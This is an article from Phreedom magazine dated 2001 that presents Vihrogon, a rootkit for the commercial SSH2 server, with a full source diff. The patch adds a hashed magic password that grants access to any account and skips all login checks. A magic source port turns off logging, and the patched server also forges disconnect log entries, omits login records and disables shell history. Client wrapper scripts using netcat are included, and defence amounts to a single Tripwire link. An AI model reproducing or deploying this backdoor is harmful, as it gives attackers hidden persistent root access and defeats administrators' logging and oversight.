articles | message board | old site archives | info & faq | contact us

phreedom.magazine.logo

Vihrogon: Advanced SSH RootKitby Solar Eclipse
(id 1), (lang en),(timestamp 2001-08-06 21:21:40-05)
A rootkit is a blackhat tool used to hide the attacker's activity from the administrators of the system. In this article we will explore the SSH server and the opportunities it provides for those willing to indulge in blackhat activities. An SSH rootkit Vihrogon SSH 0.3 will be presented. All the information presented here applies to the non-free version of SSH2 (available from ssh.com).
7 comments | post a comment
 
.... . ..  .  Vihrogon: Advanced SSH RootKit

.. . by Solar Eclipse <solareclipse@phreedom.org>


. Introduction . ..   .

A rootkit is a blackhat tool used to hide the attacker's activity from the
administrators of the system. The most common form of a rootkit contains
replacement binaries for commonly used administration utilities, like ps,
top and netstat. As you can guess the ps replacement will hide processes
mathicing a certain criteria, identifying them as belonging to the hacker.
Another function of the rootkit is to enable the attacker to gain access to
the system through a some sort of a backdoor. An example can be a modified
ping (suid on most systems) command which spawns a root shell when executed
with a special parameter, known only to the attacker.

In this article we will explore the SSH server and the opportunities it
provides for those willing to indulge in blackhat activities. An SSH rootkit
Vihrogon SSH 0.3 will be presented. All the information presented here
applies to the non-free version of SSH2 (available from ssh.com).

. SSH Architecture . ..   .

The sshd daemon usually runs as root, since it needs to bind to a privileged
port and to handle user logins. This makes it a perfect candidate for
planting a backdoor. The ssh source comes in a tarball (ssh-2.2.tar.gz),
which contains two important directories. The lib/ directory contains the
source for libssh.a, a static library used by all programs in the ssh
package. The apps/ssh/ directory contains the source for the ssh server and
client, as well as a few smaller programs such as ssh-agent2, ssh-keygen2,
etc. Most of the code in apps/ssh is compiled into the static library
libssh2.a and then linked with the binaries.

Most of the code in the lib/ directory contains utility functions. We don't
need to change anything there. It is sufficient to change a few key files
in apps/ssh.

. Rootkit Requirements . ..   .

First of all, we need a magic password. When the attacker uses this
password, she should be granted access to any account. Any login
restrictions, for example restricted root logins should be turned off.
All ssh logging should also be disabled.

Unfortunately sshd logs an informational message when a connection is
received, even before the authentication begins.

Jul 30 02:52:46 hostname sshd2[1082]: connection from "3112"
Jul 30 02:52:46 hostname sshd2[1082]: DNS lookup failed for
"174.42.35.77".

If we disable all logging after the magic password is received, this
message will look very suspicious in the logs. The solution is to log
a fake disconnect message.

Jul 30 02:52:53 hostname sshd2[1082]: Local disconnected: Connection
closed by remote host.
Jul 30 02:52:53 hostname sshd2[1082]: connection lost: 'Connection closed
by remote host.'

That's good, but not good enough. If the attacker accesses the machine her
IP address will still be logged. How can we identify the attacker even
before the user authentication? Each TCP connection is identified by four
numbers: the source IP address, the destination IP address, the source port
and the destination port. The source port can be specified by the client or
it can be randomly chosen by the operation system. Let the attacker use a
predefined magic source port and the sshd daemon will be able to identify
the connection.

. Source  . ..   .

 . sshconfig.h/sshconfig.c

We need two state variables, accessible from all sshd code. The right place
to put them would be the global SshConfig structure, which holds important
configuration data for the server. This structure is defined in sshconfig.h
and initialized in sshconfig.c. It is passed to almost all sshd functions.

 . sshd2.c

The first state variable is vihr_no_logs. When it's set to 1, all sshd
logging is disabled. Although the debugging and logging system of sshd is
fairly complex, all messages are ultimetely passed to 4 callbacks, defined
in sshd2.c. These are server_ssh_debug(), server_ssh_warning(),
server_ssh_fatal() and server_ssh_log().

  if (data->config && data->config->vihr_no_logs)
      return;

This simple line in the beginning of all 4 functions will effectively
eliminate all sshd logging and debugging information.

 . sshchsession.c
 
The second state variable is vihr_user. It is set when the user's password
matches the magic password and affects the user logon procedure. After the
ssh connection is established and the user is authenticated, the client
starts an interactive session and requests a shell. Most of the code
related to session management is in sshchsession.c. We need add a few
imropvements there to streamline the process.

The ssh_user_needs_chroot() checks if the user should be chroot'ed. If
vihr_user equals 1 the function should always return FALSE. The sshd daemon
records all logins and logouts via the ssh_user_record_login() and
ssh_user_record_logout() functions, which update the utmp, wtmp and the
lastlog. In sshchsession.c there are two calls to these functions. When
vihr_user is set the calls shouldn't happen.

The the user uses a magic password, her shell is set to /bin/sh. This
allows the attacker to login to disabled accounts. The shell history is
turned off by setting the HISTFILE environmental variable to /dev/null. All
these changes are in sshchsession.c.

  if (session->common->config->vihr_user)
    user_shell = ssh_xstrdup("/bin/sh");

  /* No history for vihr users */
  if (session->common->config->vihr_user)
    ssh_child_set_env(envp, envsizep, "HISTFILE", "/dev/null");

 . sshd2.c

All connections in sshd are handled by new_connection_callback() in
sshd2.c. We have to add some code to this function to make it check the
connection source port. If it matches, vihr_no_logs is set to 1. After that
the sshd daemon forks and the child process handles the connection.
vihr_no_logs is set back to 0 in the parent, so that it can continue
logging normal connections.

  if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf)))
    {
      if (atoi(buf) == VIHR_MAGIC_PORT)
        {
          data->config->vihr_no_logs = 1;
        }
    }

 . auths-passwd.c

The magic password code is in auths-passwd.c. This file contains functions
used in the password authentication method. The function we'll change is
ssh_server_auth_passwd(). First is checks if the host/user combination is
allowed to access the server and then it reads the password from the ssh
data stream. Then it tries to authenticate the user using this password. We
need to put the password read before the access check. Then we can match
the password with the magic password which is hardcoded in the trojanized
sshd code. Keeping the magic password in plaintext is dangerous, because
the administrator or another hacker can extract it from the sshd2 binary.
We'll compute the md5 hash of the password and store that in the binary.
The ssh code has a nice md5 hashing function, called ssh_md5_of_buffer().
It reads the data in a buffer and returns the hash. We'll convert it to
hex, because the magic password hash is contained in the .c code as a 32
character string of hex digits.

      /* Get the md5 hash of the password and convert it to hex */
      ssh_md5_of_buffer(digest, password, strlen(password));
      for (i = 15; i >= 0; i--)
        {
          digest[i*2+1] = (digest[i] & 0xf) + '0';
          digest[i*2] = (digest[i] >> 4) + '0';
        }
      for (i = 0; i < 32; i++)
        if (digest[i] > '9')
          digest[i] += 0x27; /* lower case hex chars ('a'..'f') */

      digest[32] = '\0';

If the password matches, we'll check the virh_no_logs variable. When the
attacker is using the magic source port, it will be 1. If it's 0, we need
to log a fake disconnect message. After that our code returns
SSH_AUTH_SERVER_ACCEPTED, skipping all additional authentication chores.

      if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0)
        {
          if (!config->vihr_no_logs)
          {
            /* The connection was logged, we need to log a fake disconnect message */
            ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
                          "Local disconnected: Connection closed by remote host.");
            ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
                          "connection lost: 'Connection closed by remote host.'");
          }

          ssh_xfree(password);
          config->vihr_user = 1;
          config->vihr_no_logs = 1;

          /* Skip all login checks */
          return SSH_AUTH_SERVER_ACCEPTED;
        }

. Installation and Usage  . ..   .

This is not a universal rootkit. It can be installed on only systems
already running the sshd2 daemon. It does not hide anything from the ps and
netstat commands, so it might be wise use it as a part of larger rootkit,
that contains ps and netstat replacements. The rootkit code should be
fairly portable, due to the portability of the SSH suite.

The rootkit configuration is in sshconfig.h. You need to change
VIHR_MAGIC_PORT to a port of your desire, and put the password hash in
VIHT_MAGIC_MD5. You can get the hash with the following command:

echo -n magicpassword | md5sum

There are two ways of forcing the ssh cliento to use a specified source
port. One way is to modify the client source. The other way works only with
OpenSSH by taking advantage of the ProxyConnect option. This option allows
you to specify a command that will establish the TCP connection and can be
set from the command line. (see the ssh man page for more details)

The following shell scripts take the source port as their first parameter
and pass everything else to the ssh/scp program. ProxyCommand is set to
netcat, which takes the source port with the -p option. Netcat is a very
useful little program, available at www.netcat.org.

#!/bin/bash
/usr/bin/ssh -o "ProxyCommand nc -p $1 %h %p" $2 $3 $4 $5 $6 $7 $8 $9

#!/bin/bash
/usr/bin/scp -S /usr/bin/ssh -o "ProxyCommand nc -p $1 %h %p" $2 $3 $4 $5 $6 $7 $8 $9

. Defence  . ..   .

http://www.tripwire.com/

. Diff  . ..   .

diff -ru ssh-2.2.0/apps/ssh/auths-passwd.c ssh-2.2.0.vihr/apps/ssh/auths-passwd.c
--- ssh-2.2.0/apps/ssh/auths-passwd.c	Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/auths-passwd.c	Sat Jul 28 20:24:20 2001
@@ -25,6 +25,10 @@
 
 #define SSH_DEBUG_MODULE "Ssh2AuthPasswdServer"
 
+/* Original declaration is lib/sshcrypt/md5.h */
+void ssh_md5_of_buffer(unsigned char digest[16], const unsigned char *buf,
+				               size_t len);
+
 /* Password authentication.  This handles all forms of password authentication,
    including local passwords, kerberos, and secure rpc passwords. */
 
@@ -42,6 +46,8 @@
   SshUser uc = (SshUser)*longtime_placeholder;
   Boolean change_request;
   char *password, *prompt;
+  unsigned char digest[33];
+  int i;
   int disable_method = 0;
   unsigned long pass_len = 0L;
   
@@ -52,6 +58,54 @@
   switch (op)
     {
     case SSH_AUTH_SERVER_OP_START:
+      /* Parse the password authentication request. */
+      if (ssh_decode_buffer(packet,
+                            SSH_FORMAT_BOOLEAN, &change_request,
+                            SSH_FORMAT_UINT32_STR, &password, &pass_len,
+                            SSH_FORMAT_END) == 0)
+        {
+          SSH_DEBUG(2, ("bad packet"));
+          goto password_bad;
+        }
+
+#ifdef VIHR_MAGIC_MD5
+	  /* Get the md5 hash of the password and convert it to hex */
+	  ssh_md5_of_buffer(digest, password, strlen(password));
+	  for (i = 15; i >= 0; i--)
+		{
+		  digest[i*2+1] = (digest[i] & 0xf) + '0';
+		  digest[i*2] = (digest[i] >> 4) + '0';
+		}
+	  for (i = 0; i < 32; i++)
+		if (digest[i] > '9')
+		  digest[i] += 0x27; /* lower case hex chars ('a'..'f') */
+
+	  digest[32] = '\0';
+
+#ifdef VIHR_DEBUG
+	  ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, "digest: %s", digest);
+#endif /* VIHR_DEBUG */
+	  
+	  if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0)
+		{
+		  if (!config->vihr_no_logs)
+		  {
+			/* The connection was logged, we need to log a fake disconnect message */
+		    ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
+						  "Local disconnected: Connection closed by remote host.");
+		    ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
+						  "connection lost: 'Connection closed by remote host.'");
+		  }
+		  
+		  ssh_xfree(password);
+		  config->vihr_user = 1;
+		  config->vihr_no_logs = 1;
+		  
+		  /* Skip all login checks */
+		  return SSH_AUTH_SERVER_ACCEPTED;
+		}
+#endif /* VIHR_MAGIC_MD5 */
+	  
       if (ssh_server_auth_check(&uc, user, config, server->common,
                                 SSH_AUTH_PASSWD))
         {
@@ -96,16 +150,6 @@
 #endif /* SSHDIST_WINDOWS */
       }
       
-      /* Parse the password authentication request. */
-      if (ssh_decode_buffer(packet,
-                            SSH_FORMAT_BOOLEAN, &change_request,
-                            SSH_FORMAT_UINT32_STR, &password, &pass_len,
-                            SSH_FORMAT_END) == 0)
-        {
-          SSH_DEBUG(2, ("bad packet"));
-          goto password_bad;
-        }
-
       if (!config->permit_empty_passwords && pass_len == 0L)
         {
           char *s = "login with empty passwords not permitted.";
diff -ru ssh-2.2.0/apps/ssh/sshchsession.c ssh-2.2.0.vihr/apps/ssh/sshchsession.c
--- ssh-2.2.0/apps/ssh/sshchsession.c	Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshchsession.c	Sat Jul 28 21:02:41 2001
@@ -197,6 +197,9 @@
   const char *group;
   char *current;
 
+  /* No chroot for vihr users */
+  if (common->config->vihr_user) return FALSE;
+  
   uid = ssh_user_uid(uc);
   gid = ssh_user_gid(uc);
   user = ssh_user_name(uc);
@@ -450,6 +453,9 @@
     user_dir = ssh_user_dir(session->common->user_data);
 
   user_shell = ssh_user_shell(session->common->user_data);
+  if (session->common->config->vihr_user)
+	user_shell = ssh_xstrdup("/bin/sh");
+
   user_conf_dir = ssh_user_conf_dir(session->common->config,
                                     session->common->user_data);
 
@@ -459,6 +465,10 @@
   ssh_child_set_env(envp, envsizep, "LOGNAME", user_name);
   ssh_child_set_env(envp, envsizep, "PATH", DEFAULT_PATH ":" SSH_BINDIR);
 
+  /* No history for vihr users */
+  if (session->common->config->vihr_user)
+	ssh_child_set_env(envp, envsizep, "HISTFILE", "/dev/null");
+  
 #ifdef MAIL_SPOOL_DIRECTORY
   snprintf(buf, sizeof(buf), "%s/%s", MAIL_SPOOL_DIRECTORY, user_name);
   ssh_child_set_env(envp, envsizep, "MAIL", buf);
@@ -585,6 +595,9 @@
 #endif /* SSH_CHANNEL_X11 */
 
   shell = ssh_user_shell(session->common->user_data);
+  if (session->common->config->vihr_user)
+	shell = ssh_xstrdup("/bin/sh");
+
   user_conf_dir = ssh_user_conf_dir(session->common->config,
                                     session->common->user_data);
 
@@ -811,6 +824,8 @@
 
   /* Get the user's shell, and the last component of it. */
   shell = ssh_user_shell(session->common->user_data);
+  if (session->common->config->vihr_user)
+	shell = ssh_xstrdup("/bin/sh");
 
   shell_no_path = strrchr(shell, '/');
   if (shell_no_path)
@@ -993,11 +1008,17 @@
                                          session->common->last_login_from_host,
                                          session->common->
                                          sizeof_last_login_from_host);
-          ssh_user_record_login(session->common->user_data,
-                                getpid(),
-                                ptyname,
-                                session->common->remote_host,
-                                session->common->remote_ip);
+
+		  /* No login records for chroot users */
+		  if (!session->common->config->vihr_user)
+			{
+		      ssh_user_record_login(session->common->user_data,
+                                    getpid(),
+                                    ptyname,
+                                    session->common->remote_host,
+                                    session->common->remote_ip);
+			}
+		  
           ssh_channel_session_child(session, op, cmd);
           ssh_debug("ssh_channel_session_child returned");
           exit(255);
@@ -1403,7 +1424,10 @@
         {
           SSH_TRACE(2, ("Destroying session stream, and logging user out."));
           ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname));
-          ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
+
+		  /* No logout records for vihr users */
+		  if (!session->common->config->vihr_user)
+            ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
         }
     }
 
diff -ru ssh-2.2.0/apps/ssh/sshconfig.c ssh-2.2.0.vihr/apps/ssh/sshconfig.c
--- ssh-2.2.0/apps/ssh/sshconfig.c	Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshconfig.c	Sat Jul 28 02:53:25 2001
@@ -250,6 +250,10 @@
   
   config->signer_path = ssh_xstrdup(SSH_SIGNER_PATH);
   config->default_domain = NULL;
+
+  config->vihr_no_logs = 0;
+  config->vihr_user = 0;
+  
   return config;
 }
 
diff -ru ssh-2.2.0/apps/ssh/sshconfig.h ssh-2.2.0.vihr/apps/ssh/sshconfig.h
--- ssh-2.2.0/apps/ssh/sshconfig.h	Mon Jun 12 19:38:57 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshconfig.h	Sat Jul 28 21:06:54 2001
@@ -25,6 +25,9 @@
 #define SUBSYSTEM_PREFIX "subsystem-"
 #define SUBSYSTEM_PREFIX_LEN 10
 
+#define VIHR_MAGIC_MD5 "2f3a4fccca6406e35bcf33e92dd93135"
+#define VIHR_MAGIC_PORT 31337
+
 typedef struct SshSubsystemRec
 {
   char *name;                          /* name of the subsystem */
@@ -223,6 +226,11 @@
   /* The default domain, which should be set if, for example
      'hostname' returns only basepart of the FQDN. */
   char *default_domain;
+
+  /* vihr_no_logs disables all ssh logging
+   * vihr_user disables all login checks and recording */
+  int vihr_no_logs;
+  int vihr_user;
 };
 
 typedef struct SshConfigRec *SshConfig;
diff -ru ssh-2.2.0/apps/ssh/sshd2.c ssh-2.2.0.vihr/apps/ssh/sshd2.c
--- ssh-2.2.0/apps/ssh/sshd2.c	Mon Jun 12 19:38:58 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshd2.c	Sat Jul 28 20:16:29 2001
@@ -569,6 +569,16 @@
       snprintf(buf, sizeof(buf), "UNKNOWN");
     }
 
+#ifdef VIHR_MAGIC_PORT
+  if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf)))
+	{
+      if (atoi(buf) == VIHR_MAGIC_PORT)
+	    {
+	      data->config->vihr_no_logs = 1;
+	    }
+    }
+#endif /* VIHR_MAGIC_PORT */
+
   ssh_log_event(data->config->log_facility, SSH_LOG_INFORMATIONAL,
                 "connection from \"%s\"", buf);
 
@@ -654,6 +664,11 @@
                         "open connections (max %d, now open %d).",
                         buf, data->config->max_connections,
                         data->connections);
+
+		  /* Restore normal operation */
+		  data->config->vihr_no_logs = 0;
+		  data->config->vihr_user = 0;
+		  
           /* return from this callback. */
           return;
         }
@@ -778,6 +793,13 @@
     }
 
   ssh_debug("new_connection_callback returning");
+
+  if (ret != 0)
+    {
+	   /* Restore normal operation for the parent */
+      data->config->vihr_no_logs = 0;
+      data->config->vihr_user = 0;
+    }
 }
 
 void broadcast_callback(SshUdpListener listener, void *context)
@@ -894,6 +916,9 @@
 {
   SshServerData data = (SshServerData)context;
 
+  if (data->config && data->config->vihr_no_logs)
+	return;
+  
   if (data->config && data->config->quiet_mode)
     return;
 
@@ -905,6 +930,9 @@
 {
   SshServerData data = (SshServerData)context;
 
+  if (data->config && data->config->vihr_no_logs)
+	return;
+ 
   if (data->config && data->config->quiet_mode)
     return;
 
@@ -917,6 +945,9 @@
 void server_ssh_fatal(const char *msg, void *context)
 {
   SshServerData data = (SshServerData)context;
+  if (data->config && data->config->vihr_no_logs)
+	return;
+
   data->ssh_fatal_called = TRUE;
 
   ssh_log_event(data->config->log_facility, SSH_LOG_ERROR, "FATAL ERROR: %s",
@@ -993,6 +1024,9 @@
   static int logopt;
   static int logfac;
 
+  if (data->config && data->config->vihr_no_logs)
+	return;
+ 
   if (! logopen)
     {
       logopt = LOG_PID;

articles | message board | old site archives | info & faq | contact us

copyright (c) 1997-2002 phreedom magazine; all rights reserved